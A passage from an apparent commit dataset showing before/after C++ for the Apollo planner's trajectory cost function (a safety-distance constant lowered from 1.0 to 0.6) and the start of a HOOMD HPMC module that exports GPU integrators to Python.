} else if (ptr_obstacle->IsStatic() || is_bycycle_or_pedestrian) {\n static_obstacle_sl_boundaries_.push_back(std::move(sl_boundary));\n } else {\n std::vector<Box2d> box_by_time;\n for (uint32_t t = 0; t <= num_of_time_stamps_; ++t) {\n TrajectoryPoint trajectory_point =\n ptr_obstacle->GetPointAtTime(t * config.eval_time_interval());\n\n Box2d obstacle_box = ptr_obstacle->GetBoundingBox(trajectory_point);\n constexpr double kBuff = 0.5;\n Box2d expanded_obstacle_box =\n Box2d(obstacle_box.center(), obstacle_box.heading(),\n obstacle_box.length() + kBuff, obstacle_box.width() + kBuff);\n box_by_time.push_back(expanded_obstacle_box);\n }\n dynamic_obstacle_boxes_.push_back(std::move(box_by_time));\n }\n }\n}\n\nComparableCost TrajectoryCost::CalculatePathCost(\n const QuinticPolynomialCurve1d &curve, const double start_s,\n const double end_s, const uint32_t curr_level, const uint32_t total_level) {\n ComparableCost cost;\n double path_cost = 0.0;\n std::function<double(const double)> quasi_softmax = [this](const double x) {\n const double l0 = this->config_.path_l_cost_param_l0();\n const double b = this->config_.path_l_cost_param_b();\n const double k = this->config_.path_l_cost_param_k();\n return (b + std::exp(-k * (x - l0))) \/ (1.0 + std::exp(-k * (x - l0)));\n };\n\n for (double curve_s = 0.0; curve_s < (end_s - start_s);\n curve_s += config_.path_resolution()) {\n const double l = curve.Evaluate(0, curve_s);\n\n path_cost += l * l * config_.path_l_cost() * quasi_softmax(std::fabs(l));\n\n const double dl = std::fabs(curve.Evaluate(1, curve_s));\n if (IsOffRoad(curve_s + start_s, l, dl, is_change_lane_path_)) {\n cost.cost_items[ComparableCost::OUT_OF_BOUNDARY] = true;\n }\n\n path_cost += dl * dl * config_.path_dl_cost();\n\n const double ddl = std::fabs(curve.Evaluate(2, curve_s));\n path_cost += ddl * ddl * config_.path_ddl_cost();\n }\n path_cost *= config_.path_resolution();\n\n if (curr_level == total_level) {\n const double end_l = curve.Evaluate(0, end_s - start_s);\n path_cost +=\n std::sqrt(end_l - init_sl_point_.l() \/ 2.0) * config_.path_end_l_cost();\n }\n cost.smoothness_cost = path_cost;\n return cost;\n}\n\nbool TrajectoryCost::IsOffRoad(const double ref_s, const double l,\n const double dl,\n const bool is_change_lane_path) {\n constexpr double kIgnoreDistance = 5.0;\n if (ref_s - init_sl_point_.s() < kIgnoreDistance) {\n return false;\n }\n Vec2d rear_center(0.0, l);\n\n const auto ¶m = common::VehicleConfigHelper::GetConfig().vehicle_param();\n Vec2d vec_to_center(\n (param.front_edge_to_center() - param.back_edge_to_center()) \/ 2.0,\n (param.left_edge_to_center() - param.right_edge_to_center()) \/ 2.0);\n\n Vec2d rear_center_to_center = vec_to_center.rotate(std::atan(dl));\n Vec2d center = rear_center + rear_center_to_center;\n Vec2d front_center = center + rear_center_to_center;\n\n const double buffer = 0.1; \/\/ in meters\n const double r_w =\n (param.left_edge_to_center() + param.right_edge_to_center()) \/ 2.0;\n const double r_l = param.back_edge_to_center();\n const double r = std::sqrt(r_w * r_w + r_l * r_l);\n\n double left_width = 0.0;\n double right_width = 0.0;\n reference_line_->GetLaneWidth(ref_s, &left_width, &right_width);\n\n double left_bound = std::max(init_sl_point_.l() + r + buffer, left_width);\n double right_bound = std::min(init_sl_point_.l() - r - buffer, -right_width);\n if (rear_center.y() + r + buffer \/ 2.0 > left_bound ||\n rear_center.y() - r - buffer \/ 2.0 < right_bound) {\n return true;\n }\n if (front_center.y() + r + buffer \/ 2.0 > left_bound ||\n front_center.y() - r - buffer \/ 2.0 < right_bound) {\n return true;\n }\n\n return false;\n}\n\nComparableCost TrajectoryCost::CalculateStaticObstacleCost(\n const QuinticPolynomialCurve1d &curve, const double start_s,\n const double end_s) {\n ComparableCost obstacle_cost;\n for (double curr_s = start_s; curr_s <= end_s;\n curr_s += config_.path_resolution()) {\n const double curr_l = curve.Evaluate(0, curr_s - start_s);\n for (const auto &obs_sl_boundary : static_obstacle_sl_boundaries_) {\n obstacle_cost += GetCostFromObsSL(curr_s, curr_l, obs_sl_boundary);\n }\n }\n obstacle_cost.safety_cost *= config_.path_resolution();\n return obstacle_cost;\n}\n\nComparableCost TrajectoryCost::CalculateDynamicObstacleCost(\n const QuinticPolynomialCurve1d &curve, const double start_s,\n const double end_s) const {\n ComparableCost obstacle_cost;\n if (dynamic_obstacle_boxes_.empty()) {\n return obstacle_cost;\n }\n\n double time_stamp = 0.0;\n for (size_t index = 0; index < num_of_time_stamps_;\n ++index, time_stamp += config_.eval_time_interval()) {\n common::SpeedPoint speed_point;\n heuristic_speed_data_.EvaluateByTime(time_stamp, &speed_point);\n double ref_s = speed_point.s() + init_sl_point_.s();\n if (ref_s < start_s) {\n continue;\n }\n if (ref_s > end_s) {\n break;\n }\n\n const double s = ref_s - start_s; \/\/ s on spline curve\n const double l = curve.Evaluate(0, s);\n const double dl = curve.Evaluate(1, s);\n\n const common::SLPoint sl = common::util::MakeSLPoint(ref_s, l);\n const Box2d ego_box = GetBoxFromSLPoint(sl, dl);\n for (const auto &obstacle_trajectory : dynamic_obstacle_boxes_) {\n obstacle_cost +=\n GetCostBetweenObsBoxes(ego_box, obstacle_trajectory.at(index));\n }\n }\n constexpr double kDynamicObsWeight = 1e-6;\n obstacle_cost.safety_cost *=\n (config_.eval_time_interval() * kDynamicObsWeight);\n return obstacle_cost;\n}\n\nComparableCost TrajectoryCost::GetCostFromObsSL(\n const double adc_s, const double adc_l, const SLBoundary &obs_sl_boundary) {\n const auto &vehicle_param =\n common::VehicleConfigHelper::Instance()->GetConfig().vehicle_param();\n\n ComparableCost obstacle_cost;\n if (obs_sl_boundary.start_l() * obs_sl_boundary.end_l() <= 0.0) {\n return obstacle_cost;\n }\n\n const double adc_front_s = adc_s + vehicle_param.front_edge_to_center();\n const double adc_end_s = adc_s - vehicle_param.back_edge_to_center();\n const double adc_left_l = adc_l + vehicle_param.left_edge_to_center();\n const double adc_right_l = adc_l - vehicle_param.right_edge_to_center();\n\n if (adc_left_l + FLAGS_lateral_ignore_buffer < obs_sl_boundary.start_l() ||\n adc_right_l - FLAGS_lateral_ignore_buffer > obs_sl_boundary.end_l()) {\n return obstacle_cost;\n }\n\n bool no_overlap = ((adc_front_s < obs_sl_boundary.start_s() ||\n adc_end_s > obs_sl_boundary.end_s()) || \/\/ longitudinal\n (adc_left_l + 0.1 < obs_sl_boundary.start_l() ||\n adc_right_l - 0.1 > obs_sl_boundary.end_l())); \/\/ lateral\n\n if (!no_overlap) {\n obstacle_cost.cost_items[ComparableCost::HAS_COLLISION] = true;\n }\n\n \/\/ if obstacle is behind ADC, ignore its cost contribution.\n if (adc_front_s > obs_sl_boundary.end_s()) {\n return obstacle_cost;\n }\n\n const double delta_l = std::fmax(adc_right_l - obs_sl_boundary.end_l(),\n obs_sl_boundary.start_l() - adc_left_l);\n \/*\n AWARN << \"adc_s: \" << adc_s << \"; adc_left_l: \" << adc_left_l\n << \"; adc_right_l: \" << adc_right_l << \"; delta_l = \" << delta_l;\n AWARN << obs_sl_boundary.ShortDebugString();\n *\/\n\n constexpr double kSafeDistance = 1.0;\n if (delta_l < kSafeDistance) {\n obstacle_cost.safety_cost +=\n config_.obstacle_collision_cost() *\n Sigmoid(config_.obstacle_collision_distance() - delta_l);\n }\n\n return obstacle_cost;\n}\n\n\/\/ Simple version: calculate obstacle cost by distance\nComparableCost TrajectoryCost::GetCostBetweenObsBoxes(\n const Box2d &ego_box, const Box2d &obstacle_box) const {\n ComparableCost obstacle_cost;\n\n const double distance = obstacle_box.DistanceTo(ego_box);\n if (distance > config_.obstacle_ignore_distance()) {\n return obstacle_cost;\n }\n\n obstacle_cost.safety_cost +=\n config_.obstacle_collision_cost() *\n Sigmoid(config_.obstacle_collision_distance() - distance);\n obstacle_cost.safety_cost +=\n 20.0 * Sigmoid(config_.obstacle_risk_distance() - distance);\n return obstacle_cost;\n}\n\nBox2d TrajectoryCost::GetBoxFromSLPoint(const common::SLPoint &sl,\n const double dl) const {\n Vec2d xy_point;\n reference_line_->SLToXY(sl, &xy_point);\n\n ReferencePoint reference_point = reference_line_->GetReferencePoint(sl.s());\n\n const double one_minus_kappa_r_d = 1 - reference_point.kappa() * sl.l();\n const double delta_theta = std::atan2(dl, one_minus_kappa_r_d);\n const double theta =\n common::math::NormalizeAngle(delta_theta + reference_point.heading());\n return Box2d(xy_point, theta, vehicle_param_.length(),\n vehicle_param_.width());\n}\n\n\/\/ TODO(All): optimize obstacle cost calculation time\nComparableCost TrajectoryCost::Calculate(const QuinticPolynomialCurve1d &curve,\n const double start_s,\n const double end_s,\n const uint32_t curr_level,\n const uint32_t total_level) {\n ComparableCost total_cost;\n \/\/ path cost\n total_cost +=\n CalculatePathCost(curve, start_s, end_s, curr_level, total_level);\n\n \/\/ static obstacle cost\n total_cost += CalculateStaticObstacleCost(curve, start_s, end_s);\n\n \/\/ dynamic obstacle cost\n total_cost += CalculateDynamicObstacleCost(curve, start_s, end_s);\n return total_cost;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<commit_msg>Planning: reduced the distance for cost calculation.<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file\n **\/\n\n#include \"modules\/planning\/toolkits\/optimizers\/road_graph\/trajectory_cost.h\"\n\n#include <algorithm>\n#include <cmath>\n#include <limits>\n#include <utility>\n\n#include \"modules\/common\/proto\/pnc_point.pb.h\"\n\n#include \"modules\/common\/configs\/vehicle_config_helper.h\"\n#include \"modules\/common\/math\/vec2d.h\"\n#include \"modules\/common\/util\/util.h\"\n#include \"modules\/planning\/common\/planning_gflags.h\"\n\nnamespace apollo {\nnamespace planning {\n\nusing apollo::common::TrajectoryPoint;\nusing apollo::common::math::Box2d;\nusing apollo::common::math::Sigmoid;\nusing apollo::common::math::Vec2d;\n\nTrajectoryCost::TrajectoryCost(const DpPolyPathConfig &config,\n const ReferenceLine &reference_line,\n const bool is_change_lane_path,\n const std::vector<const Obstacle *> &obstacles,\n const common::VehicleParam &vehicle_param,\n const SpeedData &heuristic_speed_data,\n const common::SLPoint &init_sl_point,\n const SLBoundary &adc_sl_boundary)\n : config_(config),\n reference_line_(&reference_line),\n is_change_lane_path_(is_change_lane_path),\n vehicle_param_(vehicle_param),\n heuristic_speed_data_(heuristic_speed_data),\n init_sl_point_(init_sl_point),\n adc_sl_boundary_(adc_sl_boundary) {\n const double total_time =\n std::min(heuristic_speed_data_.TotalTime(), FLAGS_prediction_total_time);\n\n num_of_time_stamps_ = static_cast<uint32_t>(\n std::floor(total_time \/ config.eval_time_interval()));\n\n for (const auto *ptr_obstacle : obstacles) {\n if (ptr_obstacle->IsIgnore()) {\n continue;\n } else if (ptr_obstacle->LongitudinalDecision().has_stop()) {\n continue;\n }\n const auto &sl_boundary = ptr_obstacle->PerceptionSLBoundary();\n\n const double adc_left_l =\n init_sl_point_.l() + vehicle_param_.left_edge_to_center();\n const double adc_right_l =\n init_sl_point_.l() - vehicle_param_.right_edge_to_center();\n\n if (adc_left_l + FLAGS_lateral_ignore_buffer < sl_boundary.start_l() ||\n adc_right_l - FLAGS_lateral_ignore_buffer > sl_boundary.end_l()) {\n continue;\n }\n\n bool is_bycycle_or_pedestrian =\n (ptr_obstacle->Perception().type() ==\n perception::PerceptionObstacle::BICYCLE ||\n ptr_obstacle->Perception().type() ==\n perception::PerceptionObstacle::PEDESTRIAN);\n\n if (ptr_obstacle->IsVirtual()) {\n \/\/ Virtual obstacle\n continue;\n } else if (ptr_obstacle->IsStatic() || is_bycycle_or_pedestrian) {\n static_obstacle_sl_boundaries_.push_back(std::move(sl_boundary));\n } else {\n std::vector<Box2d> box_by_time;\n for (uint32_t t = 0; t <= num_of_time_stamps_; ++t) {\n TrajectoryPoint trajectory_point =\n ptr_obstacle->GetPointAtTime(t * config.eval_time_interval());\n\n Box2d obstacle_box = ptr_obstacle->GetBoundingBox(trajectory_point);\n constexpr double kBuff = 0.5;\n Box2d expanded_obstacle_box =\n Box2d(obstacle_box.center(), obstacle_box.heading(),\n obstacle_box.length() + kBuff, obstacle_box.width() + kBuff);\n box_by_time.push_back(expanded_obstacle_box);\n }\n dynamic_obstacle_boxes_.push_back(std::move(box_by_time));\n }\n }\n}\n\nComparableCost TrajectoryCost::CalculatePathCost(\n const QuinticPolynomialCurve1d &curve, const double start_s,\n const double end_s, const uint32_t curr_level, const uint32_t total_level) {\n ComparableCost cost;\n double path_cost = 0.0;\n std::function<double(const double)> quasi_softmax = [this](const double x) {\n const double l0 = this->config_.path_l_cost_param_l0();\n const double b = this->config_.path_l_cost_param_b();\n const double k = this->config_.path_l_cost_param_k();\n return (b + std::exp(-k * (x - l0))) \/ (1.0 + std::exp(-k * (x - l0)));\n };\n\n for (double curve_s = 0.0; curve_s < (end_s - start_s);\n curve_s += config_.path_resolution()) {\n const double l = curve.Evaluate(0, curve_s);\n\n path_cost += l * l * config_.path_l_cost() * quasi_softmax(std::fabs(l));\n\n const double dl = std::fabs(curve.Evaluate(1, curve_s));\n if (IsOffRoad(curve_s + start_s, l, dl, is_change_lane_path_)) {\n cost.cost_items[ComparableCost::OUT_OF_BOUNDARY] = true;\n }\n\n path_cost += dl * dl * config_.path_dl_cost();\n\n const double ddl = std::fabs(curve.Evaluate(2, curve_s));\n path_cost += ddl * ddl * config_.path_ddl_cost();\n }\n path_cost *= config_.path_resolution();\n\n if (curr_level == total_level) {\n const double end_l = curve.Evaluate(0, end_s - start_s);\n path_cost +=\n std::sqrt(end_l - init_sl_point_.l() \/ 2.0) * config_.path_end_l_cost();\n }\n cost.smoothness_cost = path_cost;\n return cost;\n}\n\nbool TrajectoryCost::IsOffRoad(const double ref_s, const double l,\n const double dl,\n const bool is_change_lane_path) {\n constexpr double kIgnoreDistance = 5.0;\n if (ref_s - init_sl_point_.s() < kIgnoreDistance) {\n return false;\n }\n Vec2d rear_center(0.0, l);\n\n const auto ¶m = common::VehicleConfigHelper::GetConfig().vehicle_param();\n Vec2d vec_to_center(\n (param.front_edge_to_center() - param.back_edge_to_center()) \/ 2.0,\n (param.left_edge_to_center() - param.right_edge_to_center()) \/ 2.0);\n\n Vec2d rear_center_to_center = vec_to_center.rotate(std::atan(dl));\n Vec2d center = rear_center + rear_center_to_center;\n Vec2d front_center = center + rear_center_to_center;\n\n const double buffer = 0.1; \/\/ in meters\n const double r_w =\n (param.left_edge_to_center() + param.right_edge_to_center()) \/ 2.0;\n const double r_l = param.back_edge_to_center();\n const double r = std::sqrt(r_w * r_w + r_l * r_l);\n\n double left_width = 0.0;\n double right_width = 0.0;\n reference_line_->GetLaneWidth(ref_s, &left_width, &right_width);\n\n double left_bound = std::max(init_sl_point_.l() + r + buffer, left_width);\n double right_bound = std::min(init_sl_point_.l() - r - buffer, -right_width);\n if (rear_center.y() + r + buffer \/ 2.0 > left_bound ||\n rear_center.y() - r - buffer \/ 2.0 < right_bound) {\n return true;\n }\n if (front_center.y() + r + buffer \/ 2.0 > left_bound ||\n front_center.y() - r - buffer \/ 2.0 < right_bound) {\n return true;\n }\n\n return false;\n}\n\nComparableCost TrajectoryCost::CalculateStaticObstacleCost(\n const QuinticPolynomialCurve1d &curve, const double start_s,\n const double end_s) {\n ComparableCost obstacle_cost;\n for (double curr_s = start_s; curr_s <= end_s;\n curr_s += config_.path_resolution()) {\n const double curr_l = curve.Evaluate(0, curr_s - start_s);\n for (const auto &obs_sl_boundary : static_obstacle_sl_boundaries_) {\n obstacle_cost += GetCostFromObsSL(curr_s, curr_l, obs_sl_boundary);\n }\n }\n obstacle_cost.safety_cost *= config_.path_resolution();\n return obstacle_cost;\n}\n\nComparableCost TrajectoryCost::CalculateDynamicObstacleCost(\n const QuinticPolynomialCurve1d &curve, const double start_s,\n const double end_s) const {\n ComparableCost obstacle_cost;\n if (dynamic_obstacle_boxes_.empty()) {\n return obstacle_cost;\n }\n\n double time_stamp = 0.0;\n for (size_t index = 0; index < num_of_time_stamps_;\n ++index, time_stamp += config_.eval_time_interval()) {\n common::SpeedPoint speed_point;\n heuristic_speed_data_.EvaluateByTime(time_stamp, &speed_point);\n double ref_s = speed_point.s() + init_sl_point_.s();\n if (ref_s < start_s) {\n continue;\n }\n if (ref_s > end_s) {\n break;\n }\n\n const double s = ref_s - start_s; \/\/ s on spline curve\n const double l = curve.Evaluate(0, s);\n const double dl = curve.Evaluate(1, s);\n\n const common::SLPoint sl = common::util::MakeSLPoint(ref_s, l);\n const Box2d ego_box = GetBoxFromSLPoint(sl, dl);\n for (const auto &obstacle_trajectory : dynamic_obstacle_boxes_) {\n obstacle_cost +=\n GetCostBetweenObsBoxes(ego_box, obstacle_trajectory.at(index));\n }\n }\n constexpr double kDynamicObsWeight = 1e-6;\n obstacle_cost.safety_cost *=\n (config_.eval_time_interval() * kDynamicObsWeight);\n return obstacle_cost;\n}\n\nComparableCost TrajectoryCost::GetCostFromObsSL(\n const double adc_s, const double adc_l, const SLBoundary &obs_sl_boundary) {\n const auto &vehicle_param =\n common::VehicleConfigHelper::Instance()->GetConfig().vehicle_param();\n\n ComparableCost obstacle_cost;\n if (obs_sl_boundary.start_l() * obs_sl_boundary.end_l() <= 0.0) {\n return obstacle_cost;\n }\n\n const double adc_front_s = adc_s + vehicle_param.front_edge_to_center();\n const double adc_end_s = adc_s - vehicle_param.back_edge_to_center();\n const double adc_left_l = adc_l + vehicle_param.left_edge_to_center();\n const double adc_right_l = adc_l - vehicle_param.right_edge_to_center();\n\n if (adc_left_l + FLAGS_lateral_ignore_buffer < obs_sl_boundary.start_l() ||\n adc_right_l - FLAGS_lateral_ignore_buffer > obs_sl_boundary.end_l()) {\n return obstacle_cost;\n }\n\n bool no_overlap = ((adc_front_s < obs_sl_boundary.start_s() ||\n adc_end_s > obs_sl_boundary.end_s()) || \/\/ longitudinal\n (adc_left_l + 0.1 < obs_sl_boundary.start_l() ||\n adc_right_l - 0.1 > obs_sl_boundary.end_l())); \/\/ lateral\n\n if (!no_overlap) {\n obstacle_cost.cost_items[ComparableCost::HAS_COLLISION] = true;\n }\n\n \/\/ if obstacle is behind ADC, ignore its cost contribution.\n if (adc_front_s > obs_sl_boundary.end_s()) {\n return obstacle_cost;\n }\n\n const double delta_l = std::fmax(adc_right_l - obs_sl_boundary.end_l(),\n obs_sl_boundary.start_l() - adc_left_l);\n \/*\n AWARN << \"adc_s: \" << adc_s << \"; adc_left_l: \" << adc_left_l\n << \"; adc_right_l: \" << adc_right_l << \"; delta_l = \" << delta_l;\n AWARN << obs_sl_boundary.ShortDebugString();\n *\/\n\n constexpr double kSafeDistance = 0.6;\n if (delta_l < kSafeDistance) {\n obstacle_cost.safety_cost +=\n config_.obstacle_collision_cost() *\n Sigmoid(config_.obstacle_collision_distance() - delta_l);\n }\n\n return obstacle_cost;\n}\n\n\/\/ Simple version: calculate obstacle cost by distance\nComparableCost TrajectoryCost::GetCostBetweenObsBoxes(\n const Box2d &ego_box, const Box2d &obstacle_box) const {\n ComparableCost obstacle_cost;\n\n const double distance = obstacle_box.DistanceTo(ego_box);\n if (distance > config_.obstacle_ignore_distance()) {\n return obstacle_cost;\n }\n\n obstacle_cost.safety_cost +=\n config_.obstacle_collision_cost() *\n Sigmoid(config_.obstacle_collision_distance() - distance);\n obstacle_cost.safety_cost +=\n 20.0 * Sigmoid(config_.obstacle_risk_distance() - distance);\n return obstacle_cost;\n}\n\nBox2d TrajectoryCost::GetBoxFromSLPoint(const common::SLPoint &sl,\n const double dl) const {\n Vec2d xy_point;\n reference_line_->SLToXY(sl, &xy_point);\n\n ReferencePoint reference_point = reference_line_->GetReferencePoint(sl.s());\n\n const double one_minus_kappa_r_d = 1 - reference_point.kappa() * sl.l();\n const double delta_theta = std::atan2(dl, one_minus_kappa_r_d);\n const double theta =\n common::math::NormalizeAngle(delta_theta + reference_point.heading());\n return Box2d(xy_point, theta, vehicle_param_.length(),\n vehicle_param_.width());\n}\n\n\/\/ TODO(All): optimize obstacle cost calculation time\nComparableCost TrajectoryCost::Calculate(const QuinticPolynomialCurve1d &curve,\n const double start_s,\n const double end_s,\n const uint32_t curr_level,\n const uint32_t total_level) {\n ComparableCost total_cost;\n \/\/ path cost\n total_cost +=\n CalculatePathCost(curve, start_s, end_s, curr_level, total_level);\n\n \/\/ static obstacle cost\n total_cost += CalculateStaticObstacleCost(curve, start_s, end_s);\n\n \/\/ dynamic obstacle cost\n total_cost += CalculateDynamicObstacleCost(curve, start_s, end_s);\n return total_cost;\n}\n\n} \/\/ namespace planning\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/\/ Include the defined classes that are to be exported to python\n#include \"IntegratorHPMC.h\"\n#include \"IntegratorHPMCMono.h\"\n#include \"IntegratorHPMCMono_FL.h\"\n\n#include \"ShapeSphere.h\"\n#include \"ShapeConvexPolygon.h\"\n#include \"ShapePolyhedron.h\"\n#include \"ShapeConvexPolyhedron.h\"\n#include \"ShapeSpheropolyhedron.h\"\n#include \"ShapeSpheropolygon.h\"\n#include \"ShapeSimplePolygon.h\"\n#include \"ShapeEllipsoid.h\"\n#include \"ShapeFacetedSphere.h\"\n#include \"ShapeSphinx.h\"\n#include \"ShapeUnion.h\"\n#include \"AnalyzerSDF.h\"\n#include \"UpdaterBoxNPT.h\"\n\n#ifdef ENABLE_CUDA\n#include \"IntegratorHPMCMonoGPU.h\"\n#include \"IntegratorHPMCMonoImplicitGPU.h\"\n#endif\n\n\/*! \\file module.cc\n \\brief Export classes to python\n*\/\n\n\/\/ Include boost.python to do the exporting\n#include <boost\/python.hpp>\n\nusing namespace boost::python;\nusing namespace hpmc;\n\nusing namespace hpmc::detail;\n\nnamespace hpmc\n{\n\n\/\/! Export the GPU integrators\nvoid export_hpmc_gpu()\n {\n #ifdef ENABLE_CUDA\n export_IntegratorHPMCMonoGPU< ShapeSphere >(\"IntegratorHPMCMonoGPUSphere\");\n export_IntegratorHPMCMonoGPU< ShapeUnion<ShapeSphere> >(\"IntegratorHPMCMonoGPUSphereUnion\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolygon >(\"IntegratorHPMCMonoGPUConvexPolygon\");\n export_IntegratorHPMCMonoGPU< ShapeSimplePolygon >(\"IntegratorHPMCMonoGPUSimplePolygon\");\n export_IntegratorHPMCMonoGPU< ShapePolyhedron >(\"IntegratorHPMCMonoGPUPolyhedron\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<8> >(\"IntegratorHPMCMonoGPUConvexPolyhedron8\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<16> >(\"IntegratorHPMCMonoGPUConvexPolyhedron16\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<32> >(\"IntegratorHPMCMonoGPUConvexPolyhedron32\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<64> >(\"IntegratorHPMCMonoGPUConvexPolyhedron64\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<128> >(\"IntegratorHPMCMonoGPUConvexPolyhedron128\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<8> >(\"IntegratorHPMCMonoGPUSpheropolyhedron8\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<16> >(\"IntegratorHPMCMonoGPUSpheropolyhedron16\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<32> >(\"IntegratorHPMCMonoGPUSpheropolyhedron32\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<64> >(\"IntegratorHPMCMonoGPUSpheropolyhedron64\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolyhedron<128> >(\"IntegratorHPMCMonoGPUSpheropolyhedron128\");\n export_IntegratorHPMCMonoGPU< ShapeEllipsoid >(\"IntegratorHPMCMonoGPUEllipsoid\");\n export_IntegratorHPMCMonoGPU< ShapeSpheropolygon >(\"IntegratorHPMCMonoGPUSpheropolygon\");\n export_IntegratorHPMCMonoGPU< ShapeFacetedSphere >(\"IntegratorHPMCMonoGPUFacetedSphere\");\n #ifdef ENABLE_SPHINX_GPU\n export_IntegratorHPMCMonoGPU< ShapeSphinx >(\"IntegratorHPMCMonoGPUSphinx\");\n #endif\n\n export_IntegratorHPMCMonoImplicitGPU< ShapeSphere >(\"IntegratorHPMCMonoImplicitGPUSphere\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolygon >(\"IntegratorHPMCMonoImplicitGPUConvexPolygon\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSimplePolygon >(\"IntegratorHPMCMonoImplicitGPUSimplePolygon\");\n export_IntegratorHPMCMonoImplicitGPU< ShapePolyhedron >(\"IntegratorHPMCMonoImplicitGPUPolyhedron\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<8> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron8\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<16> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron16\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<32> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron32\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<64> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron64\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeConvexPolyhedron<128> >(\"IntegratorHPMCMonoImplicitGPUConvexPolyhedron128\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<8> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron8\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<16> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron16\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<32> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron32\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<64> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron64\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolyhedron<128> >(\"IntegratorHPMCMonoImplicitGPUSpheropolyhedron128\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeEllipsoid>(\"IntegratorHPMCMonoImplicitGPUEllipsoid\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeSpheropolygon>(\"IntegratorHPMCMonoImplicitGPUSpheropolygon\");\n export_IntegratorHPMCMonoImplicitGPU< ShapeFacetedSphere>(\"IntegratorHPMCMonoImplicitGPUFacetedSphere\");\n #ifdef ENABLE_SPHINX_GPU\n export_IntegratorHPMCMonoImplicitGPU< ShapeSphinx >(\"IntegratorHPMCMonoImplicitGPUSphinx\");\n #endif\n\n #endif\n }\n}\n<commit_msg>export sphere_union implicit integrator on GPU<commit_after>\/\/ Include the defined classes that are to be exported to python\n#include \"IntegratorHPMC.h\"\n#include \"IntegratorHPMCMono.h\"\n#include \"IntegratorHPMCMono_FL.h\"\n\n#include \"ShapeSphere.h\"\n#include \"ShapeConvexPolygon.h\"\n#include \"ShapePolyhedron.h\"\n#include \"ShapeConvexPolyhedron.h\"\n#include \"ShapeSpheropolyhedron.h\"\n#include \"ShapeSpheropolygon.h\"\n#include \"ShapeSimplePolygon.h\"\n#include \"ShapeEllipsoid.h\"\n#include \"ShapeFacetedSphere.h\"\n#include \"ShapeSphinx.h\"\n#include \"ShapeUnion.h\"\n#include \"AnalyzerSDF.h\"\n#include \"UpdaterBoxNPT.h\"\n\n#ifdef ENABLE_CUDA\n#include \"IntegratorHPMCMonoGPU.h\"\n#include \"IntegratorHPMCMonoImplicitGPU.h\"\n#endif\n\n\/*! \\file module.cc\n \\brief Export classes to python\n*\/\n\n\/\/ Include boost.python to do the exporting\n#include <boost\/python.hpp>\n\nusing namespace boost::python;\nusing namespace hpmc;\n\nusing namespace hpmc::detail;\n\nnamespace hpmc\n{\n\n\/\/! Export the GPU integrators\nvoid export_hpmc_gpu()\n {\n #ifdef ENABLE_CUDA\n export_IntegratorHPMCMonoGPU< ShapeSphere >(\"IntegratorHPMCMonoGPUSphere\");\n export_IntegratorHPMCMonoGPU< ShapeUnion<ShapeSphere> >(\"IntegratorHPMCMonoGPUSphereUnion\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolygon >(\"IntegratorHPMCMonoGPUConvexPolygon\");\n export_IntegratorHPMCMonoGPU< ShapeSimplePolygon >(\"IntegratorHPMCMonoGPUSimplePolygon\");\n export_IntegratorHPMCMonoGPU< ShapePolyhedron >(\"IntegratorHPMCMonoGPUPolyhedron\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<8> >(\"IntegratorHPMCMonoGPUConvexPolyhedron8\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<16> >(\"IntegratorHPMCMonoGPUConvexPolyhedron16\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<32> >(\"IntegratorHPMCMonoGPUConvexPolyhedron32\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<64> >(\"IntegratorHPMCMonoGPUConvexPolyhedron64\");\n export_IntegratorHPMCMonoGPU< ShapeConvexPolyhedron<128> >(\"IntegratorHPMCMonoGPUConvexPolyhedron128\");\n 